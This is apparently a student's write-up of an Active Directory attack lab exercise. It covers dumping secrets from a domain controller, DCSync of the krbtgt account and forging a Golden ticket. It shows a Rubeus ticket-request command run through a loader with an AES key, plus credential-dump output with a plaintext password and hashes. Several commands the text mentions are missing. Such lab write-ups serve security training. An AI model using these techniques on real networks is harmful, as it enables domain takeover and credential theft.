search
HomeGitHubPortfolioTwitter/XMediumCont@ct

vial8 - LO8️

Learning Object 8

hashtag
Tasks

1 - Extract secrets from the domain controller of dollarcorp

2 - Using the secrets of krbtgt account, create a Golden ticket

3 - Use the Golden ticket to (once again) get domain admin privileges from a machine

Flag 16 [dcorp-dc] - NTLM hash of krbtgt 🚩

Flag 17 [dcorp-dc] - NTLM hash of domain administrator - Administrator 🚩

hashtag
Solutions

hashtag
1 - Extract secrets from the domain controller of dollarcorp

Starting to previous learning object 7 lab, we've already domain admin privileges, let's extract all the hashes on the domain controller (the command need to be executed from a process running with privileges of DA on the student VM).

Starting opening a new cmd as administrator and starting a new process as svcadmin's user:

C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:svcadmin /aes256:6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011 /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Authentication Id : 0 ; 86511 (00000000:000151ef)
Session           : Service from 0
User Name         : svcadmin
Domain            : dcorp
Logon Server      : DCORP-DC
Logon Time        : 1/10/2025 9:28:52 AM
SID               : S-1-5-21-719815819-3726368948-3917688648-1118

         * Username : svcadmin
         * Domain   : DOLLARCORP.MONEYCORP.LOCAL
         * Password : *ThisisBlasphemyThisisMadness!!
         * Key List :
           aes256_hmac       6366243a657a4ea04e406f1abc27f1ada358ccd0138ec5ca2835067719dc7011
           aes128_hmac       8c0a8695795df6c9a85c4fb588ad6cbd
           rc4_hmac_nt       b38ff50264b74508085d82c69794a4d8
           rc4_hmac_old      b38ff50264b74508085d82c69794a4d8
           rc4_md4           b38ff50264b74508085d82c69794a4d8
           rc4_hmac_nt_exp   b38ff50264b74508085d82c69794a4d8
           rc4_hmac_old_exp  b38ff50264b74508085d82c69794a4d8

Run the below commands from the process running as DA to copy Loader.exe on dcorp-dc and use it to extract credentials:

NTLM : 4e9815869d2090ccfca61c1fe0d23986

To get NTLM hash and AES keys of the krbtgt account, we can use the DCSync attack. Run the below command from process running as Domain Admin on the student VM:

hashtag
2 - Using the secrets of krbtgt account, create a Golden ticket

We can create a golden ticket using the following Rubeus command:

now we need to add this command as argument to Loader and forge a Golden ticket addingC:\AD\Tools\Loader.exe -path and /ptt at the end of the generated command to inject it in the current process:

hashtag
3 - Use the Golden ticket to (once again) get domain admin privileges from a machine

After importing golden ticket, we can access and check our privileges

hashtag
Flag 16 [dcorp-dc] - NTLM hash of krbtgt 🚩

NTLM : 4e9815869dXXXXXXXXXXXXXXXXXXXX

hashtag
Flag 17 [dcorp-dc] - NTLM hash of domain administrator - Administrator 🚩

NTLM : af0686XXXXXXXXXXXXXXXXXXXXXXXXXXX

Previous7 - LO 7️Next9 - LO9️

Last updated